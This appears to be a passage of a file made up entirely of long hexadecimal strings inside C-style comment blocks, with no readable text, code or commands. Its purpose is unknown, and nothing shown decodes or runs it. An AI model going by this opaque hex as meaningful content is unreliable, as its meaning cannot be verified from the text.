b386b7857f345fa06eeb54b92ab99f14cc86929396b8bbc1e80a653fa09dbe48b471400077518bcec2388792e6b7e19d5859f999d8a0355ff1580c90915fd372c3561fe2b36180ff3b72391fbba3db576807e40074cffb8a707a73b82320c0664b10a64499887c2dd68a805afce0e39c99ad54523528c2cf18dac0db0f4f6b480d685b62d5b425a0a78734afae32509ebe6f7f326424d8d193c64354ca2ce2620c494c4c6b51936fcf5e1e96d579b5d8e68195d97d92a67bc1436895b43cc48c854a0fcacd5ffc55170adca64360ad87d19730ada99197c58944cd3f2648385e759509be2229b4bbf2c93e3c17f9d11ef719426053ed56ca41f50ffeae4f3a16d82cf08b5331a46ed35fe168a72706dd6003f773ea2a43f8e196806096d5a749e27a3ae09487b4878e7ac35ae0ca5e01b2b12ce3035af691c7457336fb4dcc86d5ae0167c4d2984a91806d65fe02c72f66d39b19514d5f31da6f432f076ae0b2ca8d7907a3c9bcf467754aad693b0572964aa789192fffc34f7d00d98dc2a8d46966b1a731e462a84035caa511824e27fbea639d3cc813e36cf110028e78abb4e7b0857c63576fbccf0c47a47e03303187965128b45a1a53e39ffa3624dabe7c6884c236f419c05f3f4ad95e7da479ac67f822074d0feab71c1d96bd0fc04fc732b71df5402320fe61fa83d868301f1263fab5a8c585907cc20c0582e9cd85dd4b4f438916584b43a7375b289ea28a1fe44b0ce991d89da5020d501f2835183fc309cd18e4501dd447abeca9b1a826b22afc4afdb9d3fd408af471ff80b3a2c886a25e15225e0c0e946f289b25c37b30b2da86dc60c9bc6acd02b038d905cba193497a0b575f5687c5fc89c5c22704263b67bbfc21545c36a268d794b2b80d98a9883fa279ab67d3cdca644ed0dc256829334f2ae713a268354b359c57649cb4ab89231b028c80195d1efd9cf6fba5c8bad4385c1446fce67ce3a50c4f254e193c78aa290fb13042642e144cfd7fe2389bec1e2fab8028a324956ff54cc5c7986f94eee6833183cc545b15d11e200abe3c30190119f3609e7d68f0421ed09f524159d5109a7fe0527a65f8105d3b02e8cd2318caf0f79d1426a3bd1032977ac086cb4d216e2ff3a1636abd0619226e16492621aea086dcefc830403925175bc54398c6fdd32e179c75ccd454ab21f235ffb15606c50df7dd50bc770e3723c9af40e8dc1098858979f718069c4194e3a4000310b52656f5ad5a70baff83facd603f8acc0ece588b88ee692e18be243c234406d75b193d11b5b6a704fa804df97ce69f08dfea0876f015a2b2c80c959b5151d13826f89a1c99b97f2632b82a5cadd63bdfbada29eac00c605f468a402c5024082110164cddd07c1f472b394a502d167cd29cce800bed593755a0dcbac916fdec84aad0e2c6e3be9a0827ad6c034177a04eccc44a7382cd9f241c9bb9c7d2765eee4c69d673c165956e63c160aa91bf10de6ed5ba0d9b0d53627a49a7900644526bf3a00479d8fab815217f220e58862e5dd1612c1d31b3952d840798963ae882eb31b1513436c5e2fabdf039679cec3fe135cacfef18a023ef74357c2c174ac54f3be13fa27afacee187054745b64495c77671a6b9b8e6b2549b0ae2877caa4bdf909bc656d0ce5f6025bb88b4f88bf44e05d49afa40221d7cfb57a6a7a13b37da29dccd0d22d0bd3e5245d97d012f186b7b78337ee5cf9f87599f80ed4f82cc250a94bdd1bc4506240aa0bc935dad9a523dbddc3af8d5bd8f33a21b1471699dc7f04136d9d15e727b911b6b53c2bf1a3e25c7f0ab18743a3011fd0a023fd916a4d97c5cb695cb45569611cf3378632685b7f48c617c2e1fc656dbc428936891c80c61a0952860b05619ef8703122f905570e50e76994ebc9473b606143f1f239eecb7d3887ae8049ee73da661f3c3ac0db583b5ab2eeb47599d378d66bdf23229acce101ff9877fbffc493ef1c5697f4342e9684d0d680*/
/*72fa03c18aa3879d07a8bb6ccdaf0f2c1743d7f9d488324648c5716dfb3d2d749ae4ee2c152dd12aa71f3b187c1f439bd31cb17e6d189ad466a62b0d8305b99c7ef27478ef6c64aa3ea70a15bfc9f1dbe84dc92b486809da5a1f66888d3177eec754890bd64c51dda18807a12bcbdc4750a8014df89c36740c34549367eb53d3ff64958aaffbd74f7581f1230527067de90514e9d3609fb65c3cbe2e1bd55a42090dab077eae26427e8f7c17468430e42cdbf9ab054da3826d3c7e9346295d58a8275df19f3a2507a572c71b08d2629886834214e981559ea8fc6998c8c19b8642d551853a742c3c3d05bb5cabc9547b654b7b4de0fd56cdd9b2284955d00e7902dd7fa7bde28a234a68ee6f64c80c41df1db6df667e9c6609629aefc473e305847dbdd6ae0dd94e1c54c1e1e8a8e81bc2295547331f4e6028bffe7d15ca18b292c48f32c93020df916e4d9c63dba9dd1cc44b0a2f845f463c60d08fcae6201a68f8a605a66bdf899184dfb672803bfab631dba04dfb2b88dddf05759739fa0ab8fe932e95c06dc4b5b9d4f651484bc25d107a18c68002b91c8e7e6781bd22178c8b38dcce1e8d1080b0a1a04b86e663707255a896811561bf27ff22cf94a8525215f3f96b18975f7fc12b67a0ad46b23cd7ef840b2a4d526d2e5105d50ba102f2769d70617468094baba58dd965d3dd18630ec20d5afb2a77653af898ac0d54b298706b4b6e0906731fe66fbc1073ad200e9e20671c84788baa76a4cd8ffab1b323f993f51201eeee33a086fc04b201c08a5d8e22f9190256e411622afc56fdedc22773d753febbc5bcae44179c4aa23aa49e592c569f3b245b937489e684e455fbcf305edd3964262fac290cda6025013607a3e0d62fe08a63b391832feb8c7e0397f0c86b607f88a647b1f3b486ce9d8fadd330bfec889ca10289b2b00bfaf4e33506731d8519c5678aa97f83326b15c575f698f2b95e138de41fe1dba3a0cadcd1d0ea10cb03447880a7066e2070c97f6331f6b81f1b73d03e3af9cb7c68e3e8960b532f5b868d730e68848f48a526f0d605bca0f855685f251bfbb1ce7064062ccddffb744f0d7bdb3b3c4e85b0254ea00f94bc4476e1e5e1a213023b150930a8e7d52fded630ff325567dee720c7625fe5631ec5d74c66fe4ee17f7bc87eefbcd617bec552a3aced54c3c0a048f71a3284d038392677fee8637b79ec796636c2da8ec5bc0b6f4d18dc0f278653e424457ba449c689bf62360c669d1a012e4f33c8323a2d7cd881e04b42383d94ea411d50e3f3733efc4facf5f6b573e92bfb0673de643ca17075e9512a0f09b7367ef7187a91b8f3dbcdefa324775fc8abdaa93a55857079730f8430dcb7ffb210a86ec586b2ff1b214d3b6ce05e4d4609fe70c1342fc955c60e9494ed084d370ed1f1ae80666c5e20c627d27f206ed4f6de49bfbbf17392be251231205b762c7a468f0938fc0383c32a563f6d61a7fef46e8d5f2942e92ce087d7ccdfff6444ab89558409fdaa6156825728887df6bfcf690eda75cfd53d42a8e2414221847202d7db6ef62f9258280e6677b68b373f621deb1b1eeb2b78846e740dae451083aaa2240ed35256f974b01582cc0485c10d1e80d6bfe408921defd8ef657a95aa9e647bb033f75a8009d483a9700618e829b1e591f40ce302aa24915a8b2cd95c3d29778a74fee702a46ee9bcef81d686ad89b7472c5bc7f9524dff26054c6bf6bbd8177270e8772a2cede4c3f3f110e0a8bda1514b1442305cb3a8515f2a1382fe7a63b7a3641c47e03d077abad77fa51924dac185479a931952851d98a84a737e254d420f16203894d2f3efbeba98f50e4832e57ebcfea1f099ed77828dbcbf154a05f79d93f5c91d279b5b37759d40c07af39cfb047344372fb286d69d6ab8ba715b32da19f0e67513ce5edc1ecadf975e3494446349302a19e0441752cbd5b22389bc0bf4572dd7eaab47b779998e0d786d957ca345cf5749709c4a0b465b0fc33acfbe1f3ef50d52bb921d220a7da8c9ff173c02b06289c35649826b8393413356931afb85abcb5fe3fc121f13a88c0125175baa29c8408718fe02c079f8da1bfdcb90ce453c8c291d5ae609ad0b4673288b1c1f604606090a6177ece51e146e39b0508a1ab1ea282933684aa44da702c50a10a46d6b6920bb5ee3005fc758ea28f679d78eca9b5fada783b57920f041150d14156b160aca8942ed04d149b91845a3e570956ceed5323c140236bee2d56049d81d255879d34af25e2ecff4e08ef8df3058197632e465d5eca97b73b5227931e202fad583eb24af7ca524236aa44dab5bc6846dd39f8a3928e90c6c2373c9d948efeacf2ad2e60b8ae17b567ddcc745930f67cb9424e1c28bfe2244434616ba69e12ffea62db857a3ef03be1f916e680d9d13a105c610bf732d7f3200e32abb23634fd6b4a7803e2a3f63f3a624efd77ae96b764d0cafbc9e63651f26a77bda2e43f4568cea1c80d495004c898fcaeeb2bb1b6606c2b9717fd81b81373824b9f4f756ae4fec54e078bc6a08ce8f02d07abcdce1fbb0ca645e741f922d251f7fa8227f7f405e7c5f7b0c2b5ac40f571409f55ecfefe060fe8b671335626bc661268472c6ad9513989cab4ddfe4adf455b286241502bfdd1e6c43c374035833c767893da4dc50c49874d07d7e942f4b96c0c6a33ba33526548f8ad5bdc88c6f730d24b1a990c9d77c74b0bccfb491060864ff5b29c820ea51623057f3e486e229a31db7cef1b7514fb05b058f5c54ce3488301498c7e4c32fd8a15a292ff9cd47cdb438bf774d9dfc27d92821*/
/*d3a562c19bc3d9a53bbde7061c44974e60f3134ed2c7901d715bb296f4bc9f32e7b7ad455b664b6844c11a37d8fbc684f8d9655c87aa08e9f640ba29f09aa3f94ee2b45f8c0f0c0e9489e95a62cfec978bdbd3bfe3bc0534512c0283d2f22246541e1b38311b49ec25168a40f98aa759f04de93008b90d1f11850d80087c659b9631d597f54d575feb9b35b4dbfef15e18b0fe41c80bc98669fa850bed7787f3a3ce5835d3d14ec574b03a63c1e01afe5434c6196f9925f907c07d25dbbfd7e2e389c1d7436973f789d3c66976d332aac9504575fbda0c35a2ab5537066fe7ee24f96c803820ea47fdf17ac3490689fc488d24be4db101757ad041535658afd722261864e199f6a0b1ae5a75f2372d9a412ed74ffc2b545e62d860a73e2a1950105bc8a26e1064b9462a6b3d68563d81ce0422eccf1bdb1be805963ab85d470e6dccdb96a3d9572985d8886498bb9b3fe7d1333b0b1f1524540d4bd9a37b743f5e179eae354caf447dd8abd3d72295a8f973f2db9a8bcc173018ecfab3f8f90f2732859623fc8e7daf28b4da93f30cbb7dd7609d619f55b432e783193e3b50ab097db5025647d49eb0b4db484cb8365cc03a80e067ec3d2318b663311b52de0720baac4a7604a17ac8639bb1afa7dbffda24416c5318619126095baca24a402f4c305cbd6f2433e06be076fcf52b552e0a5a39d9a657328fb236e8052f0632778a395bb747a1b4e56f3981815b381237a05a14d72bd13327751a9ed5e86a7dc558d34c7cc009ed8887e671fa9ca56c0d1ec6da190551584ca4b58ba952400ec0b608efd03aa485fd2c7af66ac73e01eace197006993fec6ca6b3168b7a7dc5a9e773611eb47d1398e17b550b24ab4cc06e2e5e458cd2816b79d011624e103dc440b9a024a6b549840e53f7333e7a5a7d1a50efa4b3171ffde0024d58e6da85efb9b478a71c3a85a8698d4a80e3e2f50dfabcd630f6763107f7f2432c914812acbc675da79dad19456e0a8dde12aab1601b1d18e354857b5c75fb4bc58f9fb62662fc65c557eaff079a9c775e063e6d0223e6a45dc230582c8bd50c6d5e12eff2f1fe474d42616d2868d196fac879004921312f02a4cf248e9802c5234228e5e43335c2376dc7913efb639563f3643200895e5a994b3e4d0a129e4e0034d178eb529b95d360e646d13f0b65a895e362ee0c579a9e7d8157ccd2b3a03a63c8de58d1dbe63264b22e0757df73d1632da797e3774a8929e0327844fd9dc15e03481a906130d4a1a1809742d2498ba0f14c698ad7e4d54bef495cf7e62aa7fa98db1087401997806fa8f7ceb4b30ead12c8289e2a5667db454e823b69d393f653a654820f4323c9742113f1648644e3db30c2a1e2864aa3ee362a8716a1179dfe51e295fa270dd7b7cc0193145a24e2e5140f9ab46562d299deefcb01542d88658635e5100d278b396d47a32d93c9b02b2e56d33407252321b21f5efd332495fbeb155c5837526b312c42d41ca1d12dee08fb379af23d7302e57c1ec2ad59d5f0afcbfad94bc7e9b3e1984f423257bf2bf7f52053ba9e7f1c092790f3ee261ddea5a756999d86a93a6f4e02f2bec459c1608007db5936fa70f7140543214bf267f6cc39686b45dfc196ba3acf8106c8a5cee6d1536173c594c29900bd229c5f0f5b867c61ec842d4cc9084ae12a358f23cebe12309e8b7ce3398e48372adc431487c5fd2e4e5361aa7e35eb42f02da6c7908630f33c1687a49379e0c699262bb6e8b057bceecce25ec0e4c60579bdf99b88b3c6c35cc05e8d9da77b7f2b2c132a560a130b23e350a6b5830be984929cf1b5a5d1072508baaa252bea71a5faf62235612083432159422f537417a8e71520a7ea2f77feab63a726b63b37a097c08d51ccc30e72e4cf3fac8d63d7e930d40dda0a8133c557dffe9773859a6b78cca0401f3f1ca7aab20ac5bd275aac4aae4efae431e7b7728be5a6c9bc8bf82b9322491dd147b13fbaa07276de8420848f04dc47ee365c89936090122ea40640d9bb7a7b97f07c2817041d28838d0c372f5fba2df1891cdf5f262b8b3e4fad4ce4986cbe0950c8db26e6ba59ae89d2fb092ed03ebe6f231f8c961f26219d7c39a5671fdcfd33549a44d5014fc935cc87ef1b8ca21bfb79732264a117a0273cb1712916255ebe647b9ae801b071afe13700cebf9a4fed587eb644ecaa0f9e54f19ae720a7651b29f28edfb0e2c0f3f5e7d5a4ba4ca42d4ef16913979d1a767ad01b9081997368e55e5db8f81a74dc762eedce5882cd91fb558540e3170f78f80b1c183dadf9d7cdf288914f1736e559a51f340b9dc295b99c53d0c5ba501b6a47b980fc06e51b60213dfc7fc0e15c7fc1cac30f267e8c8f3d1b6b8dbe6277f3872f8ee70bd7e180c18558205bac6da06dccb48b027399279554aee7c0a71b4e2abccf7c9943c5ab99a551369cc90b1a854b85c2607fb9e8edb6681120c498bf7f89a92449a1e94f1db41555753e807d703746a61930615ba41ed1b5312eb125d10910f4a40c4df6b323148bbbff6714c869b0ed7e57c63900fe28e50a57430bb6078ac267c7dc33f63ae057e767dc341fb715a94ff0c772569fd605362b9d5e65ff95c90e95e2e67236d4cd9c3cf8189deff7a01410cbc6581124a069c0bb0f99730b6a6dc7d4820f09838e04f78c00c18fa0b4ee64e7f2907dff53d05a188f5a26d344d90040b2576bbe3446360f83ec82cffcb6e0b9f96755619e265c77db147f0437f4e0a9e0b4c8d21c7cc90117e44675120c9222cbb86897c91cf46460b1be9526b5ec06ccd0a21c380544c73756cf3a14c2*/
/*627423223509be69cd3c509d3a6d843581e669109654eb22eea46c4f6534475b1063d516f76862a266dd8c287503966b384b80905a3b0e853acd740dc7b812c4c25933f6cc1098b30870d1dcf759da6ecafee25a8f1e5f68e5debcaacb17599c55b833bf91eac30f59519816a85068cb9f237168bce276fb40d24c970cc2149966eb1ea8ff104c425a306dab0f7eebf7865abbcebfb87c684deec09167a866baeb141c3048cfc4cc36ffeaa9497523ef61ae01fa08102c93e03710d905a7bbf92094e15040aea57c4c0c1c523179267f5c1d306263e98edbc38453ac4f07b67503584c52ad3c1baa72b0fbebb7c425a061429dbbefa3c9ae188bb6635c0de5ebf3658502796fae5ec26380ec188bb3bc7512270f8abc3e1f23f1c63083811ad7e4ff864f8dfe0cd3b2b22bbc354b0b799a4e05e931affb16a6678cb3e0d91c703a3d9f0cac27b21bab924f58a98e27d5cfec7ef1cd2e024e38f6244da7f6adeadb68bc77e054e55acf4cd831be247cefcb42e79cbf42498078a871dcbe792e898b71b06de76d338b074e3b70acf4c23055948b0410459ec67e795b411038cf1977f314800f701f5ad84aef3769b57724c73c08831692c407722199d994bbc26bf65a72f8a4623f4ca3bd52690651093112f6aa0cda190b198a085db530ef5424d0e6d701b7b55e12e238cb663ea601ad6b5a1a2ff426bf796d0e5ff38577c38d9db475d0c566d22c5741481097c06fb3579f2fffbf8e905da5f59d1adb772ddd7672a1170edc1ca128897574c7d814c5c75453399b3968c6564561fbcb3da57935749d3210c9a726222c9841162190a6d5dd78deb284c85965eee9d5e77c8b10c5c817753a276775bfad21ae7df7758a150f1a365abf5ab0f8197c3588339e18f7ea5f374573c65b67b2429f2f4080e9ecb4052a0f735856c860abec07e7ff4e1d21c9d80a546b28230863b525455d115a858ccb31ef69eeecdde843470f156566a6dc00bf3718f65159ab7b6cd81f8bf406a85287d55a0e128229cbb31b22721a9363eefb3c8da03dae593dc110af5972254b86a6c46dbc1c6576f3d02f7571a4939616a36ea9158926130ba96ff3a04da121a79e5b5da58e8bfd25b1709b8f13a2aa7aac90dd784e7942957bdbc4ccf4b448efd81a6d5ecbbabdfa75122ff5a3b9da77316559b6e0fd5136b44d1ac9249a614f0faa27f8b3b41d9905fc69e39f2875355a64d063f14245cd56336c16f59fa6f60e766261087a624a84d3f5001a227a6446f0bc57f888e96d7c8f5c3d735252c71f4852ebb9f4c3385385aea2a317cd12cb9bfb7d8af42e737f355013018d3e4d9ecc707903d43c3afaf58ae164d817f5b228fceccaa26556c472d0bca061ebdde8bc9cb51329922c5fc72912dc043b34593b417fd13f9083b26dd89f827c1d570d9a1d05dfc6f84e66566614a0b444168174803b89c1d1914a9b5b2886cd3e9120876b129655b9ad2c30657646086ed7cbd6d3d377f03b23c6156f6be966bd7ff9e35571a028399c3a0e2b19e69db5f730566b9cd1418d8d0e3cab6fbd4da00f82450445552eae19e2dde018f9fd8c6c23516bd5bcb213a46e9ccb6ae60237346dee78532522f38746563bbd35fbc97400f60f6e2abbbea87725c60585d9e20e5fb8cb3acd5f8fd819138ebcc4661b49babb48bfaedef49a6e8a1ca63228cff87f8f398c901e45b5b6e973c7c08f44131a8420c251ba62622cf5c0d59bcd58ba153806ee61ab54e3c5f68b9dba103822c1f5021dfba2d6f814811847f726128e0df5320c2fd869a904c40f772e2433e842a7cd930077848328e716f495ccb5e43d11f48455ddb5c9c80fa8c23b2a401777f15b4235d6bfe5fa79529948f8df38b7e2d880b4f66ffbefc1e615a0917cdb7d4f430743a64a7569acc64d31513ab37915181e173ac1e19e85fb8697e9b992108f2fe94b7f072b346bced23f191cd610753579551bb323733d1c1d4aa32927202bf8683f0ae2adf684c0567ce30fbcc4f811d91e8fdae1fe3ed900b8219ed247271454d656322410f36c445aef65300b951c2a182fe78ccb18e6717ac64ecc44ec309479d617e3db8987c287ebec0febb274fc4d03cbf4b8cf7e0ca08aa30b68c4211857688de0fc9e0d663fc1ecdc6fc27f13d1a367f16497f86324c0aae559cb46b38f66efb3b4cd43c1fccbc85f6d62af6a3736b55c322966918048981d802e1e8e2f6024ef2ad83b83bade2372a032fbe6b1aa09392f24cd18974a84d635afcd65267df3e44fdc1bab0150a63c5512cb676bb2b25fe7e98349667676dad4594d7f04b011c9ead390ce8bc506cf5c7e5c5165cf09efeb3e7f5e051d13112b324b265ed4b708347cd10f147279b6367ad48c5980b08e8a7fb99c3065f79cab97c79567df181690988bfa6339c689fe77142d08aaeaf1ed506cecfe37c07f8ceb784d754cdcc7d9c212cc49aaffb7ece78ba90771748dad64dddb393787b4c3442b49f050711ed69b290d305ef3862f510e2ca167d68923667683d34cd85aca57249ffede4e890b2f22e63ff0d9341bc7bcde50d38614136261692f22dbf8ed65f439712b1fd6493ea3c18b11202766a28aa1977dd283d7352f4b8604c7de0f7acba10bdf614aa9ed085d3bd5019295a70882abdedd818474b8f845bfbfb58ff270bb0bc986e7ee0fc8d1471afce0b4f6463de7d0ba276521c0aef414e3edda386a98485d81962d125cae355ae92799d416add02bbf08725e8aedbfe286e5a180d4f1eaed50899b4ea2b773ae83f212d47275e844c7b96d707708eb2e9c059c70d14ed507394b87159789*/
/*f633b8fb7a1b97acaa7e4250b259ce1ad20645ef05605f5d1bb0ff23a384f7ff7650b26abec418c8a1e1169010c408a5a462b2e4bdca9341557f6b1e2fb14f75e2ed27358fcab8d46c2530113c93185b3d5692ad016b3a6113b69b5e5f066012619e7fc3c32fa9f8cd5c73d27a697ab51865b308e30aad4c05febc656185275357959f0af7dba9603baf3ee0c020bbcdc45e4fd9137ee523b719ff7881cc4df94149981a046ce6e7364ea77a6c38e390b09988f8e8377fae3ef660279ae8a08813b038bdfe86a5a00b9b0e4ec604e16da9d886234844be7d7ffd2e2e95513f37903b8ec098539dd7df94b52aa035c70a54d532397972b8d3894c48bc4e2082e36e5d1a947a09f3d4ce42582648ceefd9c0f872966dc917ad8af9108001f82a9672caff00f6e9a632367b2f39afbda1959739775bb1a895d36b86274c61d0891193280bd7c6bb16b959b23e10de01e65e6e6230dc1967f27634cd2d458b3b016725d406b9b9a5f2cee1fa27f889273f2c9db274effcd14ae606e7ed51c892a91e559109436c4a49f73c5483c8645d3aea1ff2f2e2f917d45f8df5c5c359690e17d9d8e9b2a5e131ab94411cbf68602462b9fb448ade8adbb717b2de4512ffec653969a339c07f546b112971b3b737ff1137b77d5b12b961f52ddee9746820b2bf195aadb32a2737f9c03fb7cef56ef26c2a97d7d5d009de0482d902c09df5eec2936e9724b1c4d7eb0d428f2a3f011c292f97fcde3f338a501a5149e400c9e4f8433a5ef8b3bb4cc1f5253fdde22e26a09efbb6a60200e0b6c424852c8fc41e92d5fbd9990efbd8b465b68d34b293f795ce8be75033b59897156ade1c34b0906df4db1752406e7d5edd030ca504091deb177d5e4758fb3e4a39b7fa6470707f7d46666bbad08dba309b009b11d3919c97f5a6c52cc9cdc39f0fd7ec76d8b2abccfd63d3e7f4f9f6324759ec58b549cd37e92ca9fb473f86de0e74e133fa98eae0b5a743b5431b64f573d01600a55b2e1a7f6fe015ad5bce1dffffa7cee030c45dea0287c9f73b0e1d05c480fcfdea3e7faff9638984e7f07624373762a76b574334c0012d3f2a650b3f13b18edb9989bf188721b6cfb2e2ba39c0404afe0f80d045adc2ad92ace6675095442348c99cd34fc0cb477b5147524293fb41dd06133de8b823a97426d6efaae59e90c41d667945835608f4b1e97d1614822eacc49047811c4b15b393f4d57deaa5ca310e5b9c3adddca2e7aaed1c9661eb141df4319c6950291865a39058b76ba03a7a27fa7d658298daa628e9213228abaf617a56d14f64c0d6c980a611f4894560a28f9b23d47fa21b7283cfc281d7af44408e7024b4ca541988d9b9823a5625492b17dbff84ceab016074e54188157a08fccc6686dceb26efede1c2e341fb5c75ef2e44c42f53f1ff66cb7dbf2bd5663c9a1db77ec0feb09d41d8015600176f820c9ee4ef569e70d1c0bc1c9d2d93bf41f4e6271027be22cc9461eebbe272cf2c32d30091e8d4aff690cde464d550ce5e5af8acd19a6de72e96bec966dc0c114d9d34ac52ac62950c59b7666072f6bb70e1a0223a361f652fff48aad3e2a15b32a5791b5b3504eca8a2566140731b87a01ac4180096d8d1113916c1680de8c0909e2ef13302f9db7233c4246fa4816c5049af6acdf0520f325a0c7e2657d11a1f051c5db278e1a8107b1f2665df07555aa729accc57db199bce76a67aacfc98cb5115a0b6972e87a704e5f68c92914fd4bb2e43bde7222fd96033f93fd9c897a5005278acd8af184e1f56f95fb5913215dd2daf4a6892203e08d952bdf118668af703911ab02d816b8952015a26e0df91e837a7525100bd400f75bfb0d9c0585bd73dfcbeaa841b936209e10d14a857426acb7454f968ea1181a42441f0fec2c1a839caa45b023c70ef8db2f4cfaa60b93fec3d159effafa87c88aeb6b09bcf7bf80b45eee3c0c52805e98bdc4a43f89f08733dbc36d08b2e3f928cb43b637cbb879c436d25f1add6bf0461cf8840120a86e94537bae874a515f401c1bdca4bc439b40744f699c5a393163712c111ee72de101ced56ea9a0d8b666de63e7b912b07879d886265501368398ca569a30cc95dc87bbe13abe14efaf29a720516983ec9c970fe2b530417358482a7b69d82b299cc51009687c72370909156c69503eadf1bdd845e746527d03edb13ef3a2dffe9c192e64b62314ac4c6de3baf2306e235d5cbeaea621c2c355a97b61e86cab58ec727e7a310033a7e0718e2cefd155ccaa0cdfbad4b51a7ed40a7835677d3786deb7b56464d0c18cefa7fa938e23067a81a6def6ff8e82f32cf2cac76ff474b6b9d4c27c3864e877a1bd163156e8cf093c52d23254d825ea0d5811b73c610817a26a4036fdd767d6716566ef5a7ad95f9e51cffc88654b1e28d3a9b66bc55f1d01c541463a66846cd02a1049cfa6de3d8460c0b2bd5c1b63fee166ad2f6d60a8125c6bc934a5524dbe3c42354c1f8a8079710a4d981f589e6e20f4deff21eb4b05405ade48a4ad3c6dd138adbc035e19c5baf2609c5709b3fd94cf017fbcb17241e658e6cc0acc8564b4c208ad8b3fdf9128b24957a689056f8d981445be2b98b025aa18cb5ffd5226a27a3f7d3d48f13539e8f4bfc192e0dc3dc3fc4505a31f5edcd18003cf13752beba9f07d67b810afcd8d5789a9dc88d7dfd4437ee4a56e766b44f81ed9fcfc22f5bd51df0f87c7f049da72d6c9db2398c78ca4462b35bafa3c77614b406df4e5a29e364700be77a1cc3df35a25272272c925c1312c5f2b3fdb0685b4f0eaaf5fc7c919150a52856e802b3*/
/*7ac7e13acb091dc1807510a1aded8607bee5d47e16a68e3f2ddf98b99e2cf2a40d99e567dcd4638f792ac6e83b93c319cf6eca3f498607b3a1fdf125fac8651acb5c821bf687114d1d6d574f5d19084f089fcf238b4cfc79adf7607e3ba27d09533cd2502e010a9924b77bb5cd6f156523e1078db4b8409a38c1d9695fd6c34a9b357ab4cb7df5a26f7b5e145d0a3c7d9ec77b5f8455e82171831dc0f273bed94227e1dc029de8b92d1be2506e6c9f9f8212893c7033eab511788af80315eda588620f4d43f006aeac51de8416d8212696d0865323c3ee820d2db3ab4d9cfc7f9f0bd6183d1b8d6a139d4751c35d244195861bda49921e5e82e737608c7ffd8b957100e187d5463c1f3a668457baeacf35918ee5b2ce5570430ec58b67cd14f095a5f7393f0ea195a7f93d8ef51e518dfae5074d0b7882725fac663f0a60ace10f6646b9f61b530fa0fdf1830eac369ec5d7f20654d4b37762fc54d7d58c3b505203e53b41a8305d46bdbc015e8484aa71a3d63bd8ab792473e80d0348439aca8c1e38404fe7010463a0e79514622fcad77bbbeadd681b9108cebf118bfdaddf7154e5ef63fd1e1c0363493191d3f666277ba4c59e14639079e2b374f42d8aa9b9b01f9663cd1c749e081cac47c373f33d9d1326042c60b0fda19a62c85b2e591e22843914441a8ce453718233fb23e1a7e269556ce832c1644e1449efae884b0eeca025be13d225a1a608ee86328926c181efde287cf0bf63672b0756d2c069a2edbdb425f64a20034dbe81bb33e2d848d343cc3635de723544b5127f292dd2660127c42288fa2b0d785dc92f2473f9e1131c35dc7c0d3c10fd58f5cd21935de7a670a78cfca59d1f8049f80388690a20cbecf826eede28be3c5ec8f2e25b075721020bc9b9e17ec508e058da434fb47424cece6fe5ad88186c00a0f4cb77998a1714dd688b509d223108cba80e31e89ff4ab5270beaf04c3dd8834961e1624de96b8c89995170fb7493c7d296da6ba1fb3c11f897990e4ec90e5b5b3db61731315acc14ee698b3522ee07090b37f21cfee76c15407efbf909e104439350b890b8d708840f6bce54a6f377feee426bc066111ddbdf6d58ae2e555a937cb97f04ab8dd7208116e3e01715dffb4adde7842c637d9488a3f41a3fc8526ac5fd8c1283fab2d4582774eb5f256c7b8144fbde253cb0b565ae3ec492dbfe8db55244bad34b4d44b40787aac3f2703ded2ebdbe81f8f4c87067b5e9d56faadfebf6bc75d59b06c12b7fe17adeffff8758392f91ed6a198b72515edb24e1790113bfcd9c4db6e172fac683ad8119d536bac152c3e02d63b9f09dd3b433feb8077a7230ba9349497fc4e47bb8d6d7279694df9598d506d38a4fcd53396735f323972f2a8655b30ebb4e652e0bc204a55544141df106fedd75d7c124dfa08538da843a98bc31e4911e591987971ec2c52716858193de2a12cebb20b0989c54f4c1a8140dbfc27d228caf5fbc3b3ede3e60df822a9c976e99316b3aac4232a11c219289e82fbb16d95ba9bfa907d504269f0d9792bac485f54e7c987462e4f7e74052615f4b14580b91c716bcb4905f24e0e31fa498b25b241201b1f1041773cee9f101c9e85a7d5a81d1f51ba844b388dd74b6127df2fc03f7d3fabc0c1758509c99b1556c927e66c0c3f99b531ea7bc7fa681113f9e6bc315beebf4e7686baca58ca26062f83a9ea47529134bbe9f45d73bfb8dfb78ba22adae72ffb3b05250480bbb6557088a9bd973bf4ffb965d07e1773518ac209a74be6afdf5968bbb273391d764851d44a30dbf4ecb776343e91edb923f5ff0167c8bb7b7aa4522c59334816f7d6aefb33f8caf71e898689615f4a359f4dbcbdf17949d023447e7a9fc8baaf0667cbf7dd3a551afb98ee61344242c9a5b3a8c9f7b513d008dcafd596b30ff8b3a848b62419651a4389af6cc1890fa75b709eee663dd3e7ec302da306926a6d1d5c5b24be6653b52d56a09e9dee9a510d9877f5858fb4a5c20b39d2a5e0dd34d4e74ff8af2f69eb931835e0392db27b86dba6cd2d055011b38018a63df8279501500e823d7bf201d04351e795e01ef2218662ec7742342b651b3eb4a9efb5126f7e3270b4868bc469c9c2e8fc4da4da771d7a24f84d9b2aeaf31145b2fd45476698721b4495acb67ad3b560c38c9147f0e82fc11e95acb79f4d016ee9072e9fa3f0b6941f6d66f83cfea2f3637ac9a2aeceea104bf87a209b67a349636a0ac7ebb3813a6856f88c2fe5eb62fba15c983427f11406ea0c0e2104337934c847126bb033d903c524b0f43b52664f336f133603a2314717f5146b296582b8cc5185f0e7165450f926e464868eaaf37c13532822bab66f007da57f36e66217ef2cff3ebbdf89901fab2c65edd2fe806f8770da510fe773a1b0c42839a34235d90d1a5428d797febb5baf3b409a0e1f47cca23a6ab3e6964eaf20574bc8fd43fae0c19042fac54db5f7a89e4b61e0dd7385f6cd7e93f75d069a3f0c13aef6665e46732642ca99479f763a9d2d340240b3d3490e411973aac73aab3bad8fd1a204d2c118f13b6d1d17a8077150908562ab527147a65576452aa2a8823d196f337ffc9facdff308de9dedb56da38b68f563b4cf9a7efbd9fc465817999aaf54852ec49c32a7034a10a4a99d9b4fa919a5aba4c5125ead81f7ce487f3e0af1a114c671d2b0389a054de021650e5201c2c611beef33fa725086b5a7f45c3fc49bd17b55b723197de273dc4735c89dc51a70ae0dd861dea8d5196ca426906df9a29ff2160e9ab15a2edc91afd3964337ad7cdf2a1ef0bc*/
